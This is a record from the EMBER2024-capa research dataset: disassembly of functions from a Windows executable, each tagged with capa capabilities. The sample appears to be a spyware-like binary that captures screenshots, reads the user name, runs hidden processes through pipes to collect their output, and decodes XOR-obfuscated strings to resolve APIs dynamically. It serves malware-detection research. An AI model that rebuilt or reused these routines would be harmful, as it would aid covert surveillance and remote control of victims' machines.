joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x1400dd5c0]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x1400dd5d0]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call fcn.14001a2b0
jmp 0x14000123c
mov rax, qword [0x1400dd5d0]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x1400dd5d0]
mov dword [rax], 1
mov rax, qword [0x1400dd630]
mov rdx, rax
mov rax, qword [0x1400dd620]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x14000123c
mov dword [0x14010c024], 1
mov rax, qword [0x1400dd5d0]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x1400dd610]
mov rdx, rax
mov rax, qword [0x1400dd600]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov rax, qword [0x1400dd5d0]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x1400dd5c0]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x1400dd500]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x1400dd500]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call fcn.14000ee88
mov rax, qword [0x1400dd670]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x1400dd5b0]
mov qword [rdx], rax
lea rax, section..text
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.14000e680
mov eax, dword [0x14010c004]
lea rdx, [0x14010c008]
mov ecx, eax
call fcn.14000147c
call fcn.14000e417
mov rax, qword [str._1_r_]
mov rax, qword [rax]
mov rdx, qword [0x14010c010]
mov qword [rax], rdx
mov rcx, qword [0x14010c010]
mov rdx, qword [0x14010c008]
mov eax, dword [0x14010c004]
mov r8, rcx
mov ecx, eax
call fcn.1400cee40
mov dword [0x14010c01c], eax
mov eax, dword [0x14010c020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x14010c01c]
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, dword [0x14010c024]
test eax, eax
jne 0x14000136c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x14010c01c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400dd570]
mov dword [rax], 1
mov rax, qword [0x1400dd580]
mov dword [rax], 1
mov rax, qword [0x1400dd590]
mov dword [rax], 1
mov rax, qword [0x1400dd530]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400021dd
Capabilities:
Capture screenshot

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xf8
xor r8d, r8d
mov rbx, qword [rcx + 8]
mov rsi, qword [rcx]
lea rax, [rsp + 0x88]
mov qword [rsp + 0x90], r8
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0xa8], rbx
cmp rbx, 7
jbe 0x14000225a
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0xa8]
xor r8d, r8d
call fcn.1400b2000
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x98], rax
mov rdx, qword [rsp + 0x88]
xor eax, eax
cmp rbx, rax
je 0x140002277
movsx cx, byte [rsi + rax]
mov word [rdx + rax*2], cx
inc rax
jmp 0x140002264
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x58]
call fcn.1400afff0
mov edx, 1
xor ecx, ecx
call qword [sym.imp.USER32.dll_MonitorFromPoint]
mov rcx, rax
test rax, rax
je 0x140002407
mov dword [rsp + 0xa8], 0x48
lea rdx, [rsp + 0xa8]
call qword [sym.imp.USER32.dll_GetMonitorInfoA]
test eax, eax
jne 0x1400022d0
mov rcx, qword [0x14010c0c0]
call sub.gdiplus.dll_GdiplusShutdown
jmp 0x140002407
mov r12d, dword [rsp + 0xb4]
mov r13d, dword [rsp + 0xb8]
xor ecx, ecx
sub r12d, dword [rsp + 0xac]
sub r13d, dword [rsp + 0xb0]
call qword [sym.imp.USER32.dll_GetDC]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov rsi, rax
mov r8d, r13d
mov edx, r12d
mov rcx, rbx
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov r14, qword [sym.imp.GDI32.dll_SelectObject]
mov rdi, rax
mov rdx, rax
mov rcx, rsi
call r14
xor ecx, ecx
mov dword [rsp + 0x40], 0xcc0020
mov rbp, rax
mov r9d, r12d
mov dword [rsp + 0x38], ecx
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x30], ecx
mov rcx, rsi
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], r13d
call qword [sym.imp.GDI32.dll_BitBlt]
xor eax, eax
xor edx, edx
lea r12, [rsp + 0x60]
mov rcx, rdi
mov qword [rsp + 0x78], rax
mov r8, r12
lea rax, fcn.1400271b0
mov qword [rsp + 0x60], rdx
xor edx, edx
mov qword [rsp + 0x70], rax
call sub.gdiplus.dll_GdipCreateBitmapFromHBITMAP
mov r15, qword [rsp + 0x60]
mov rdx, r12
lea rcx, str.image_jpeg
mov dword [rsp + 0x80], eax
lea r13, [rsp + 0x70]
mov qword [rsp + 0x78], r15
call fcn.140002138
jmp 0x1400023b8
mov rdx, qword [rsp + 0x88]
xor r9d, r9d
mov r8, r12
mov rcx, r15
call sub.gdiplus.dll_GdipSaveImageToFile
test eax, eax
je 0x1400023d9
mov dword [rsp + 0x80], eax
mov rdx, rbp
mov rcx, rsi
call r14
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, r13
call fcn.1400271b0
mov rcx, qword [rsp + 0x58]
call fcn.1400af810
nop
add rsp, 0xf8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x140002449
Capabilities:
Get session user name

Disassembly:
push rsi
push rbx
sub rsp, 0x138
mov rbx, rcx
lea rsi, [rsp + 0x30]
lea rdx, [rsp + 0x2c]
mov dword [rsp + 0x2c], 0x100
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov rdx, rsi
mov rcx, rbx
call fcn.14000188c
mov rax, rbx
add rsp, 0x138
pop rbx
pop rsi
ret
Function at 0x140002488
Capabilities:
Create pipe
Create process on windows
Encode data using xor
Read file on windows

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x528
xor r12d, r12d
xor r9d, r9d
mov eax, r12d
mov rbp, rdx
lea rdx, [rsp + 0x6c]
mov rsi, rcx
mov ecx, 5
mov rdi, rdx
mov dword [rsp + 0x68], 0x18
lea rdx, [rsp + 0x60]
lea r8, [rsp + 0x68]
rep stosd dword [rdi], eax
mov dword [rsp + 0x78], 1
lea rcx, [rsp + 0x58]
lea rbx, [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x140002538
movabs rax, 0x1b2e3f2a2e39084b
mov dword [rsp + 0x130], 0x2f2e2722
mov word [rsp + 0x134], 0x41
mov qword [rsp + 0x120], rax
movabs rax, 0x2a2d6b62632e3b22
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x134]
xor byte [rbx + 1], 0x4b
inc rbx
cmp rbx, rax
jne 0x140002527
jmp 0x14000268d
xor r8d, r8d
mov rcx, qword [rsp + 0x58]
mov edx, 1
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x1400025b0
movabs rax, 0x141e113804152370
mov qword [rsp + 0x120], rax
movabs rax, 0x1d021f161e39151c
mov qword [rsp + 0x128], rax
movabs rax, 0x5059581e1f190411
mov qword [rsp + 0x130], rax
movabs rax, 0x7a14151c191116
mov qword [rsp + 0x138], rax
lea rax, [rsp + 0x13e]
xor byte [rbx + 1], 0x70
inc rbx
cmp rbx, rax
jne 0x14000259f
jmp 0x14000268d
lea rdx, [rsp + 0xbc]
mov eax, r12d
mov ecx, 0x15
xor r9d, r9d
mov rdi, rdx
lea r8, [rsp + 0xb8]
mov dword [rsp + 0xb8], 0x68
rep stosd dword [rdi], eax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x40], r8
xor r8d, r8d
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x110], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x30], r8
xor r8d, r8d
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov rdx, qword [rbp]
mov dword [rsp + 0xf4], 0x100
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400026a2
movabs rax, 0x497c6d787c6b5a19
mov byte [rsp + 0x138], 0
mov qword [rsp + 0x120], rax
movabs rax, 0x30316a6a7c7a766b
mov qword [rsp + 0x128], rax
movabs rax, 0x137d7c7570787f39
mov qword [rsp + 0x130], rax
lea rax, [rsp + 0x137]
xor byte [rbx + 1], 0x19
inc rbx
cmp rbx, rax
jne 0x140002681
lea rdx, [rsp + 0x121]
mov rcx, rsi
call fcn.14000188c
jmp 0x14000275f
mov rcx, qword [rsp + 0x60]
mov rbp, qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r12, [rsp + 0x54]
lea rdi, [rsp + 0x98]
call rbp
lea rax, [rsp + 0xa8]
xor edx, edx
mov byte [rsp + 0xa8], 0
mov qword [rsp + 0x98], rax
mov r13, qword [sym.imp.KERNEL32.dll_ReadFile]
mov qword [rsp + 0xa0], rdx
xor eax, eax
mov rcx, qword [rsp + 0x58]
mov r9, r12
mov r8d, 0x400
mov qword [rsp + 0x20], rax
mov rdx, rbx
call r13
test eax, eax
je 0x14000271c
mov r8d, dword [rsp + 0x54]
test r8d, r8d
je 0x14000271c
mov rdx, rbx
mov rcx, rdi
call fcn.1400acc80
jmp 0x1400026e6
mov rcx, qword [rsp + 0x80]
call rbp
mov rcx, qword [rsp + 0x88]
call rbp
mov rcx, qword [rsp + 0x58]
call rbp
mov rcx, rsi
mov rdx, rdi
call fcn.1400ae470
mov rcx, rdi
call fcn.1400ab650
jmp 0x14000275f
mov rax, rsi
add rsp, 0x528
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
Function at 0x140002a87
Capabilities:
Create process on windows
Terminate process

Disassembly:
push rsi
push rbx
sub rsp, 0x78
mov rcx, qword [0x14010c0c0]
call sub.gdiplus.dll_GdiplusShutdown
lea rsi, [rsp + 0x50]
mov rcx, rsi
call fcn.140002772
xor eax, eax
xor edx, edx
xor r9d, r9d
mov dword [rsp + 0x28], edx
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x20], edx
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, rsi
call fcn.1400ab650
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x140002afd
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movabs rax, 0x4f5e555255524c3b
mov dword [rsp + 0x43], 0x57575f15
mov r13d, edx
mov r14, rcx
lea rdx, [rsp + 0x46]
mov byte [rsp + 0x47], 0
mov qword [rsp + 0x3b], rax
lea rax, [rsp + 0x3b]
mov r15, rax
xor byte [rax + 1], 0x3b
inc rax
cmp rax, rdx
jne 0x140002b3c
lea rdi, [rsp + 0x3c]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x140002c57
mov dword [rsp + 0x43], 0x57427d46
lea rdx, [rsp + 0x48]
movabs rax, 0x575c4057465c7b32
mov word [rsp + 0x47], 0x735c
mov byte [rsp + 0x49], 0
mov qword [rsp + 0x3b], rax
mov rax, r15
xor byte [rax + 1], 0x32
inc rax
cmp rax, rdx
jne 0x140002b8d
mov rdx, rdi
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
call rsi
mov word [rsp + 0x4b], 0x3f
lea rdx, [rsp + 0x4b]
mov r12, rax
movabs rax, 0x1b100c1b0a10377e
mov qword [rsp + 0x3b], rax
movabs rax, 0x120c2b101b0e310a
mov qword [rsp + 0x43], rax
mov rax, r15
xor byte [rax + 1], 0x7e
inc rax
cmp rax, rdx
jne 0x140002bd8
mov rdx, rdi
mov rcx, rbx
call rsi
mov dword [rsp + 0x4b], 0x353c343e
lea rdx, [rsp + 0x4e]
mov rbp, rax
mov byte [rsp + 0x4f], 0
movabs rax, 0x353e2235243e1950
mov qword [rsp + 0x3b], rax
movabs rax, 0x311835233f3c1324
mov qword [rsp + 0x43], rax
mov rax, r15
xor byte [rax + 1], 0x50
inc rax
cmp rdx, rax
jne 0x140002c22
mov rdx, rdi
mov rcx, rbx
call rsi
test r12, r12
mov rsi, rax
sete al
test rbp, rbp
sete dl
or al, dl
jne 0x140002c4e
test rsi, rsi
jne 0x140002c61
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x140002cf7
mov word [rsp + 0x43], 0x4f
lea rdx, [rsp + 0x43]
movabs rax, 0x504f512e2a2a367e
mov qword [rsp + 0x3b], rax
mov rax, r15
xor byte [rax + 1], 0x7e
inc rax
cmp rdx, rax
jne 0x140002c7f
xor edx, edx
mov rcx, rdi
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], edx
mov edx, 1
call r12
xor r12d, r12d
mov rdi, rax
test rax, rax
je 0x140002c4e
cmp r12d, r13d
jge 0x140002ce7
xor eax, eax
mov rcx, rdi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov rdx, r14
call rbp
mov rcx, rax
test rax, rax
jne 0x140002ce0
mov rcx, rdi
call rsi
jmp 0x140002c4e
call rsi
inc r12d
jmp 0x140002cad
mov rcx, rdi
call rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140002d08
Capabilities:
Encode data using xor

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x70
movabs rax, 0xc5a59585f5e5d3c
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x50]
mov rdi, rcx
mov r12d, edx
mov word [rsp + 0x60], 5
mov rsi, rbx
movabs rax, 0x40b0a09080f0e0d
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x60]
xor byte [rbx + 1], 0x3c
inc rbx
cmp rbx, rax
jne 0x140002d4a
lea rbp, [rsp + 0x30]
lea rdx, [rsp + 0x51]
mov rcx, rbp
call fcn.14000188c
xor eax, eax
movsxd rdx, r12d
mov rcx, rsi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rax
mov byte [rsp + 0x60], 0
call fcn.1400adf80
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
xor ebx, ebx
call sub.api_ms_win_crt_utility_l1_1_0.dll_srand
cmp ebx, r12d
jge 0x140002dbd
call sub.api_ms_win_crt_utility_l1_1_0.dll_rand
xor edx, edx
mov rcx, rsi
cdqe
div qword [rsp + 0x38]
mov rax, qword [rsp + 0x30]
movsx edx, byte [rax + rdx]
call fcn.1400ae3f0
inc ebx
jmp 0x140002d95
mov byte [rsp + 0x2f], 0
lea rax, [rsp + 0x29]
lea rdx, [rsp + 0x2e]
mov dword [rsp + 0x29], 0x22387c52
mov word [rsp + 0x2d], 0x3537
xor byte [rax + 1], 0x52
inc rax
cmp rax, rdx
jne 0x140002ddb
lea r8, [rsp + 0x2a]
mov rdx, rsi
mov rcx, rdi
call fcn.1400cb8a0
mov rcx, rsi
call fcn.1400ab650
mov rcx, rbp
call fcn.1400ab650
mov rax, rdi
add rsp, 0x70
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140002e31
Capabilities:
Encode data using xor

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x70
movabs rax, 0x7b2d2e2f28292a4b
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x50]
mov rdi, rcx
mov r12d, edx
mov word [rsp + 0x60], 0x72
mov rsi, rbx
movabs rax, 0x737c7d7e7f78797a
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x60]
xor byte [rbx + 1], 0x4b
inc rbx
cmp rbx, rax
jne 0x140002e73
lea rbp, [rsp + 0x30]
lea rdx, [rsp + 0x51]
mov rcx, rbp
call fcn.14000188c
xor eax, eax
movsxd rdx, r12d
mov rcx, rsi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rax
mov byte [rsp + 0x60], 0
call fcn.1400adf80
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
xor ebx, ebx
call sub.api_ms_win_crt_utility_l1_1_0.dll_srand
cmp ebx, r12d
jge 0x140002ee6
call sub.api_ms_win_crt_utility_l1_1_0.dll_rand
xor edx, edx
mov rcx, rsi
cdqe
div qword [rsp + 0x38]
mov rax, qword [rsp + 0x30]
movsx edx, byte [rax + rdx]
call fcn.1400ae3f0
inc ebx
jmp 0x140002ebe
mov dword [rsp + 0x2a], 0x203d7658
lea rax, [rsp + 0x2a]
lea rdx, [rsp + 0x2e]
mov word [rsp + 0x2e], 0x3d
xor byte [rax + 1], 0x58
inc rax
cmp rax, rdx
jne 0x140002eff
lea r8, [rsp + 0x2b]
mov rdx, rsi
mov rcx, rdi
call fcn.1400cb8a0
mov rcx, rsi
call fcn.1400ab650
mov rcx, rbp
call fcn.1400ab650
mov rax, rdi
add rsp, 0x70
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140003678
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push r13
mov eax, 0x13d8
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.14000f9b0
sub rsp, rax
lea rax, [rsp + 0x30]
mov rsi, rcx
mov ebp, edx
mov byte [rsp + 0x30], 0
lea rbx, [rsp + 0xa08]
mov qword [rsp + 0x20], rax
xor eax, eax
lea rdx, [0x1400d7116]
mov rcx, rbx
mov qword [rsp + 0x28], rax
call fcn.14000188c
lea rdi, [rsp + 0x40]
mov rdx, rbx
mov rcx, rdi
call fcn.14009ab30
mov rcx, rbx
call fcn.1400ab650
mov rcx, rdi
call fcn.14009ad30
mov dword [rsp + 0xa08], eax
mov edx, 1
jmp 0x140003700
mov eax, dword [rbx + rdx*4 - 4]
mov ecx, eax
shr ecx, 0x1e
xor eax, ecx
imul eax, eax, 0x6c078965
add eax, edx
mov dword [rbx + rdx*4], eax
inc rdx
cmp rdx, 0x270
jne 0x140003700
mov qword [rsp + 0x13c8], 0x270
xor r12d, r12d
lea r13, [rsp + 0x20]
cmp r12d, ebp
jge 0x14000377b
mov rcx, rbx
call fcn.1400a6f70
mov edx, eax
imul rdx, rdx, 0x1a
mov eax, edx
cmp edx, 0x19
ja 0x140003767
cmp eax, 0x15
ja 0x140003767
mov rcx, rbx
call fcn.1400a6f70
mov edx, eax
imul rdx, rdx, 0x1a
mov eax, edx
jmp 0x140003750
shr rdx, 0x20
mov rcx, r13
add edx, 0x61
call fcn.1400ae3f0
inc r12d
jmp 0x140003736
lea rbx, [rsp + 0x20]
lea rdx, str.____
mov rcx, rsi
mov r8, rbx
call fcn.1400cb860
mov rcx, rdi
call fcn.14009aab0
mov rcx, rbx
call fcn.1400ab650
mov rax, rsi
add rsp, 0x13d8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
Function at 0x1400043bc
Capabilities:
Encode data using xor
Query environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x3d8
movabs rax, 0x45e141905052c70
mov word [rsp + 0x128], 0x1d
mov rsi, rcx
lea rdx, [rsp + 0x129]
mov byte [rsp + 0x12a], 0
mov qword [rsp + 0x120], rax
lea rax, [rsp + 0x120]
mov rdi, rax
xor byte [rax + 1], 0x70
inc rax
cmp rdx, rax
jne 0x140004409
lea rax, [rsp + 0x1e0]
lea rdx, [rsp + 0x121]
mov rcx, rax
mov qword [rsp + 0x20], rax
call fcn.14000188c
lea rax, [rsp + 0xe8]
mov dword [rsp + 0xe8], 0x2a223367
lea rdx, [rsp + 0xec]
mov word [rsp + 0xec], 0x37
mov r13, rax
xor byte [rax + 1], 0x67
inc rax
cmp rdx, rax
jne 0x14000445a
lea rcx, [rsp + 0xe9]
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov rcx, qword [rsp + 0x20]
xor edx, edx
mov r8, rax
call fcn.1400ad330
mov rdx, rax
lea rax, [rsp + 0x48]
mov rcx, rax
mov qword [rsp + 0x28], rax
call fcn.1400ae470
mov rcx, qword [rsp + 0x20]
call fcn.1400ab650
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
mov r8d, 0x18
call fcn.140093540
lea rax, [rsp + 0x78]
xor edx, edx
mov byte [rsp + 0x78], 0
mov qword [rsp + 0x68], rax
xor eax, eax
cmp dword [rsp + 0x2e8], 0
mov qword [rsp + 0x70], rax
lea rax, [rsi + 0x10]
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov byte [rsi + 0x10], 0
je 0x1400046d8
lea rbp, [rsp + 0x88]
mov rcx, rbp
call fcn.140002449
jmp 0x14000450b
lea rdx, str.name
mov rcx, rdi
call fcn.14000188c
jmp 0x14000452a
lea rcx, [rsp + 0x140]
mov rdx, rbp
call fcn.1400ae470
xor edx, edx
xor ecx, ecx
call sub.api_ms_win_crt_stdio_l1_1_0.dll__getcwd
lea r14, [rsp + 0x160]
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x40], rax
mov rcx, r14
call fcn.1400018d0
jmp 0x14000456f
lea r12, [rsp + 0xa8]
mov rcx, r12
call fcn.1400027b9
jmp 0x14000458c
lea r15, [rsp + 0x1a0]
lea rdx, str.prog
mov rcx, r15
call fcn.14000188c
jmp 0x1400045b0
lea rcx, [rsp + 0x1c0]
mov rdx, r12
call fcn.1400ae470
lea rdx, [rsp + 0x30]
mov rcx, r13
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], 3
call fcn.14000412e
lea rbx, [rsp + 0xc8]
mov rdx, r13
mov rcx, rbx
call fcn.140003260
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.1400017b8
mov rcx, rbx
call fcn.1400ab650
mov rcx, r13
call fcn.140084cc0
mov rcx, r15
call fcn.1400a70d0
mov rcx, r14
call fcn.1400a70d0
mov rcx, rdi
call fcn.1400a70d0
mov rcx, r12
call fcn.1400ab650
mov rcx, rbp
call fcn.1400ab650
jmp 0x1400046d8
lea rcx, [rsp + 0x68]
call fcn.1400ab650
mov rcx, qword [rsp + 0x20]
call fcn.140093eb0
mov rcx, qword [rsp + 0x28]
call fcn.1400ab650
mov rax, rsi
add rsp, 0x3d8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14000e690
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.14001a040
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x14000f362
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14010c1e8]
test eax, eax
je 0x14000f3fa
lea rax, [0x14010c1c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14010c1f0]
mov qword [rbp - 8], rax
jmp 0x14000f3de
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x14000f3d2
cmp qword [rbp - 0x10], 0
je 0x14000f3d2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14000f398
lea rax, [0x14010c1c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000f3fb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x14000f500
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x14000f528
mov eax, 0
jmp 0x14000f576
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000f551
mov eax, 0
jmp 0x14000f576
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x14000f571
mov eax, 0
jmp 0x14000f576
mov eax, 1
add rsp, 0x20
pop rbp
ret